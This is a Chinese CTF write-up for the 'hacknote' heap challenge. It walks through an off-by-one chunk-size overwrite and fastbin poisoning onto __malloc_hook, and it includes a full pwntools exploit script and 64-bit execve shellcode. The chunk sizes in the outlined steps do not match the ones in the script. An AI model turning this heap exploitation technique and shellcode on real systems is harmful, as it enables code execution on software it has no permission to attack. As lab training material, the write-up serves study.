【静态编译+off by one】huxiangbei_2019_hacknote
1.ida分析
-
通过string,找到add函数,然后找到malloc函数
-
找到 malloc_hook的地址
-
寻找堆的漏洞
-
2.思路
-
申请四个chunk0,1,2,3 大小分别为,0x18,0x30,0x60,0x30
-
通过off by one 修改 chunk1 的size 位0xb1 (0x30+0x60+0x10+0x10)
-
free(2) free(1)
-
add(0xa0,‘b’*0x30+p64(0)+p64(0x71)+p64(fake)) //此时还有两个bin,第一个大小0x60,第二个是fake chunk(malloc_hook上方)的大小 0x30(size为0x42)
-
add(0x60,‘b’) 分配掉0x60的bin
-
add(0x30,‘b’*6 + p64(malloc_hook+8)+shellcode)
-
add(0x20,‘b’) //触发malloc_hook执行shellcode
3.exp
from pwn import *
#p = remote('node3.buuoj.cn',28416)
p = process('./huxiangbei_2019_hacknote')
#elf = ELF('./huxiangbei_2019_hacknote')
context.log_level = 'debug'
def add(size,cont):
p.sendlineafter('-----------------\n',str(1))
p.sendlineafter('Input the Size:\n',str(size))
if(len(cont) == size):
p.sendafter('Input the Note:\n',cont)
else:
p.sendlineafter('Input the Note:\n',cont)
p.recvuntil('Add Done!\n')
def edit(idx,cont):
p.sendlineafter('-----------------\n',str(3))
p.sendlineafter('Input the Index of Note:\n',str(idx))
p.sendafter('Input the Note:\n',cont)
p.recvuntil('Edit Done!\n')
def dele(idx):
p.sendlineafter('-----------------\n',str(2))
p.sendlineafter('Input the Index of Note:\n',str(idx))
p.recvuntil('Delete Done!\n')
malloc_hook = 0x6cb788
fake = malloc_hook - 0x16
shellcode = '\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05'
add(0x18,'a'*0x10) #0
add(0x60,'b'*0x10) #1
add(0x30,'c'*0x10) #2
add(0x10,'d'*0x10) #3
edit(0,'a'*0x18+'\n')
edit(0,'a'*0x18 + '\xb1'+'\n')
dele(2)
dele(1)
gdb.attach(p)
add(0xa0,'c'*0x60 + p64(0) + p64(0x41)+p64(fake))
add(0x30,'d')
add(0x30,'a'*0x6 + p64(malloc_hook + 0x8)+shellcode)
p.interactive()
4.fake chunk寻找
- 可能的size
-
相对malloc_hook的偏移
5.偏移计算
- 实际上,能够从寻找fake_chunk的过程中,看出往前推了6字节,当然偏移为6或2,但是2是继续往前推,因此填充的话需要6字节
6.shellcode收集
- 64位shellcode
shellcode = '\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05'